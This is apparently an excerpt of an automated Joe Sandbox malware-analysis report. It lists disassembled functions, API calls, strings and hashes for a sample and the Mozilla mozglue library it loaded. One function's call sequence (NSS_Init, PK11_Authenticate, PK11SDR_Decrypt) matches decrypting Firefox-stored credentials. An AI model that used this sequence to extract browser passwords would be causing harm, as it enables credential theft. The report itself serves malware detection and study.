free.MOZGLUE(?,?), ref: 6C21A0D5
free.MOZGLUE(?,?), ref: 6C21A0EB

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: fd54f972978d2233b8928dce36ab694373d3b822ceaf065d4d49aa54da0dabc9
Instruction ID: 7729f64dfd67ae4f12348091db164c3099b77df9d73caf6aeebd0d654c8436ca
Opcode Fuzzy Hash: fd54f972978d2233b8928dce36ab694373d3b822ceaf065d4d49aa54da0dabc9
Instruction Fuzzy Hash: DA619275508606DFC711CF18C48065AB3F5FF88329F548659EC599BB02EB32E98ACBC1

Function 00414050 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 137memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
HeapAlloc.KERNEL32(00000000), ref: 00414067
lstrlenA.KERNEL32(?), ref: 004141C5
lstrlenA.KERNEL32(?), ref: 004141D6

Strings

%s\*, xrefs: 0041407A
%s\%s, xrefs: 004140FB

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Heaplstrlen$AllocProcess
String ID: %s\%s$%s\*
API String ID: 188504188-2848263008
Opcode ID: 339e01cfc9c035518059f5d65ecac62c8281954438d6c7d75378860580358021
Instruction ID: 5a9d9924cf4f5588b7cf1b0220733e19b9eaeea9c8f58638c5d055d4a934acf6
Opcode Fuzzy Hash: 339e01cfc9c035518059f5d65ecac62c8281954438d6c7d75378860580358021
Instruction Fuzzy Hash: 6A5194B1940218ABC720EB70DC89FEE777DAF58304F40458DB60996190EB749BC5CFA5

Function 0040C7D0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383stringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040C7E5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395

??2@YAPAXI@Z.MSVCRT(-00000001), ref: 0040C8F5
lstrlenA.KERNEL32(00000000), ref: 0040CC84

Part of subcall function 0040C660: memset.MSVCRT(?,00000000,00001FA0), ref: 0040C693
Part of subcall function 0040C660: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,024AC560), ref: 0040C6B1
Part of subcall function 0040C660: PK11_GetInternalKeySlot.NSS3 ref: 0040C6CA
Part of subcall function 0040C660: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C6E5
Part of subcall function 0040C660: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C72B
Part of subcall function 0040C660: memcpy.MSVCRT(?,?,?), ref: 0040C752
Part of subcall function 0040C660: PK11_FreeSlot.NSS3(?), ref: 0040C7A1

NSS_Shutdown.NSS3 ref: 0040CCEA

Strings

, xrefs: 0040C806

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: K11_lstrlen$Slot$??2@AuthenticateDecryptFreeInitInternalShutdownmemcpymemset
String ID:
API String ID: 674787898-3916222277
Opcode ID: d17263abec074fdce9c15a51fa55d7e41f132424730ff28cff849fd9610b4c1b
Instruction ID: 91e77cebffad47ece097f7429d4e9b812732713b5b21c7dde3d323aaba1c439f
Opcode Fuzzy Hash: d17263abec074fdce9c15a51fa55d7e41f132424730ff28cff849fd9610b4c1b
Instruction Fuzzy Hash: 15E18E71801108ABCB14EBA1DC96FEEB739AF14314F00415EF40773191EF786A99CBAA

Function 6C21DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(?,?,?,6C21D38A,?), ref: 6C21DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C21D38A,?), ref: 6C21DC6F
free.MOZGLUE(?,?,?,?,?,6C21D38A,?), ref: 6C21DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C21D38A,?), ref: 6C21DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C21D38A,?), ref: 6C21DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C21D38A,?), ref: 6C21DD4A

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 1796c7c4550c18e950859e25e04961f6c681c4a7151a9d3c666f673bfa7a6bec
Instruction ID: 6ee49cbb4d5fe1267ae99dbcea9f5215c959e97da534d7486a9dcf0ee642764c
Opcode Fuzzy Hash: 1796c7c4550c18e950859e25e04961f6c681c4a7151a9d3c666f673bfa7a6bec
Instruction Fuzzy Hash: 98415BB9A00609DFCB00CF99C884A9AB7F5FF89318B554569EE45A7B11D731FC00CB90

Function 0041AD4C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041AD5A

Part of subcall function 0041A97C: __mtinitlocknum.LIBCMT ref: 0041A992
Part of subcall function 0041A97C: __amsg_exit.LIBCMT ref: 0041A99E
Part of subcall function 0041A97C: EnterCriticalSection.KERNEL32(?,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041A9A6

DecodePointer.KERNEL32(0042A0C8,00000020,0041AE9D,?,00000001,00000000,?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E), ref: 0041AD96
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADA7

Part of subcall function 0041B7F5: EncodePointer.KERNEL32(00000000,0041BA52,0042BDB8,00000314,00000000,?,?,?,?,?,0041B0C8,0042BDB8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041B7F7

DecodePointer.KERNEL32(-00000004,?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADCD
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADE0
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADEA

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 9dbc0315d39e44e03e69b1948a2dcd69f9a60bb4760d8e37f8bab661b8eb1333
Instruction ID: 26cd67dfac1a625c080c990f5aa3a4e8d575379cc8cf2dcf3c78269be391da57
Opcode Fuzzy Hash: 9dbc0315d39e44e03e69b1948a2dcd69f9a60bb4760d8e37f8bab661b8eb1333
Instruction Fuzzy Hash: CB3129B09423498FDF109FA9D9452DEBBF1BF48314F14402BD410A6251DBBC48A5CF6E

Function 6C1C39A0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C24E744,ew"l,00000000,ew"l,?,6C1E6112), ref: 6C1C39AF
LeaveCriticalSection.KERNEL32(6C24E744,?,6C1E6112), ref: 6C1C3A34
EnterCriticalSection.KERNEL32(6C24E784,6C1E6112), ref: 6C1C3A4B
LeaveCriticalSection.KERNEL32(6C24E784), ref: 6C1C3A5F

Strings

\$l, xrefs: 6C1C3A02
ew"l, xrefs: 6C1C39A3, 6C1C39A5

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: \$l$ew"l
API String ID: 3168844106-3415289108
Opcode ID: d1c2af20a4670eedd756a599153dc4968a0fbf13c11eb3c06246417ef186305d
Instruction ID: fdd77afa860d9789324d4e4d429f884bc11acc3b0d5e8c4df101ece45bda447d
Opcode Fuzzy Hash: d1c2af20a4670eedd756a599153dc4968a0fbf13c11eb3c06246417ef186305d
Instruction Fuzzy Hash: 5E215732701A014FD718EB66C459A6AB3F0EBA5728B658519DC65C7F80D734E802CB92

Function 6C20CA20 Relevance: 9.1, APIs: 6, Instructions: 82timesleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000001), ref: 6C20CA57
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C20CA69
Sleep.KERNEL32 ref: 6C20CADD
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C20CAEA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C20CAF5
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C20CB19

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Time$Now@SleepStamp@mozilla@@V12@_$BaseDurationFromMilliseconds@PlatformStampTicksUtils@mozilla@@V01@@Value@mozilla@@
String ID:
API String ID: 432163150-0
Opcode ID: 7c5336c19f7ec91986cbd179257d29699a6688103223fc9acd6af485eb256701
Instruction ID: e9309e17deb4f319bd3a99dbe98f9c9de7e70068707da8b68f5ffb1a8875f74a
Opcode Fuzzy Hash: 7c5336c19f7ec91986cbd179257d29699a6688103223fc9acd6af485eb256701
Instruction Fuzzy Hash: 1A214871B1060887C309EF3888455AFB7BAFFC5348F408629EC59A6680EF708549CB92

Function 6C21C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C21C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C21C842

Part of subcall function 6C21CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C23B5EB,00000000), ref: 6C21CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C21C863
std::_Facet_Register.LIBCPMT ref: 6C21C875

Part of subcall function 6C1FB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C23B636,?), ref: 6C1FB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C21C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C21C8BC

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 2a4f52f48b1bb8dfae31f368bd3a123be7b9eb049cb0f3494b607411b231e045
Instruction ID: a1e8a85708f2aaa3582f2591c21916a3633d2ab4ede786e18f2708aef45cf5fa
Opcode Fuzzy Hash: 2a4f52f48b1bb8dfae31f368bd3a123be7b9eb049cb0f3494b607411b231e045
Instruction Fuzzy Hash: 20119379B042099FCB04EFA4C8CC9AF7BB4EF89359B004179EE1697781DB309905CB91

Function 0041C3CD Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C3D9

Part of subcall function 0041B95F: __getptd_noexit.LIBCMT ref: 0041B962
Part of subcall function 0041B95F: __amsg_exit.LIBCMT ref: 0041B96F

__amsg_exit.LIBCMT ref: 0041C3F9
__lock.LIBCMT ref: 0041C409
InterlockedDecrement.KERNEL32(?,0042A190,0000000C,0041BE2A,?,?,00000003,0041B5E0,0042A108,00000008), ref: 0041C426
free.MSVCRT(?,?,?,00000003,0041B5E0,0042A108,00000008), ref: 0041C439
InterlockedIncrement.KERNEL32(0042B558,0042A190,0000000C,0041BE2A,?,?,00000003,0041B5E0,0042A108,00000008), ref: 0041C451

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 68cb7e6ea9f2ec8c328fe504e648b6640a528a258a727550de86b644f98f4ab2
Instruction ID: 347e950a9de730bb6983817e76a39e35d30df20f4a69820d490e6e24dcd4e02e
Opcode Fuzzy Hash: 68cb7e6ea9f2ec8c328fe504e648b6640a528a258a727550de86b644f98f4ab2
Instruction Fuzzy Hash: 7D010431A826219BD720AB669C857EEB760BB04714F41811BE94463391CB3C68D2CFDE

Function 6C1FD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C1CEB57,?,?,?,?,?,?,?,?,?), ref: 6C1FD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C1CEB57,?), ref: 6C1FD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C1CEB57,?), ref: 6C1FD673
free.MOZGLUE(?), ref: 6C1FD888

Strings

|Enabled, xrefs: 6C1FD81E

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: d16ddf0635b3cb205a4442e8a62859be011d833dba70abd3f99125cfdc7c7503
Instruction ID: f0d60070d5925dce7e51b4406540a90edfafc9e25d77e2831ba5845d157cedc6
Opcode Fuzzy Hash: d16ddf0635b3cb205a4442e8a62859be011d833dba70abd3f99125cfdc7c7503
Instruction Fuzzy Hash: 4AA13870A003488FDB01DF69C4907FEBBF1AF59318F18815CD8A9AB781D735A946CBA1

Function 6C210180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C210270
GetCurrentThreadId.KERNEL32 ref: 6C2102E9
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C2102F6
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C21033A

Strings

about:blank, xrefs: 6C21020F

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID: about:blank
API String ID: 2047719359-258612819
Opcode ID: 907bf3e838455073f3a582508d8480389892fb083473a4eb8f73881209a347a9
Instruction ID: 3b16aabcff945a35f5b893df14b7886b6f4a7c07189faa4e26f0719147d999cb
Opcode Fuzzy Hash: 907bf3e838455073f3a582508d8480389892fb083473a4eb8f73881209a347a9
Instruction Fuzzy Hash: F551B175A0421ACFCB00DF58C484A9EB7F1FF88328F648559DE1AA7B41D731B856CB90

Function 6C20E100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C1D4A68), ref: 6C20945E
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C209470
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C209482
Part of subcall function 6C209420: __Init_thread_footer.LIBCMT ref: 6C20949F

GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,6C20E084,00000000), ref: 6C20E12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6C20E084,00000000), ref: 6C20E137

Part of subcall function 6C2094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C2094EE
Part of subcall function 6C2094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C209508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6C20E196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6C20E1E9

Part of subcall function 6C2099A0: GetCurrentThreadId.KERNEL32 ref: 6C2099C1
Part of subcall function 6C2099A0: AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C2099CE
Part of subcall function 6C2099A0: ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C2099F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6C20E13F

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: 3b942c3e08b8d5ef6885db9527fb413830a07f36684b62bbe313871174f1b881
Instruction ID: 36553b933855207fc767b3aea734a44c5f5c9ee1c7413fa49811f9ce246f36ef
Opcode Fuzzy Hash: 3b942c3e08b8d5ef6885db9527fb413830a07f36684b62bbe313871174f1b881
Instruction Fuzzy Hash: F131BDB1A047089FD704AF6884443AAF7E5AFC9208F14892EEC994BB81DB70D949C692

Function 6C1FF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C1FF480

Part of subcall function 6C1CF100: LoadLibraryW.KERNEL32(shell32,?,6C23D020), ref: 6C1CF122
Part of subcall function 6C1CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C1CF132

CloseHandle.KERNEL32(00000000), ref: 6C1FF555

Part of subcall function 6C1D14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C1D1248,6C1D1248,?), ref: 6C1D14C9
Part of subcall function 6C1D14B0: memcpy.VCRUNTIME140(?,6C1D1248,00000000,?,6C1D1248,?), ref: 6C1D14EF

Part of subcall function 6C1CEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C1CEEE3

CreateFileW.KERNEL32 ref: 6C1FF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C1FF523

Strings

\oleacc.dll, xrefs: 6C1FF4CB

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
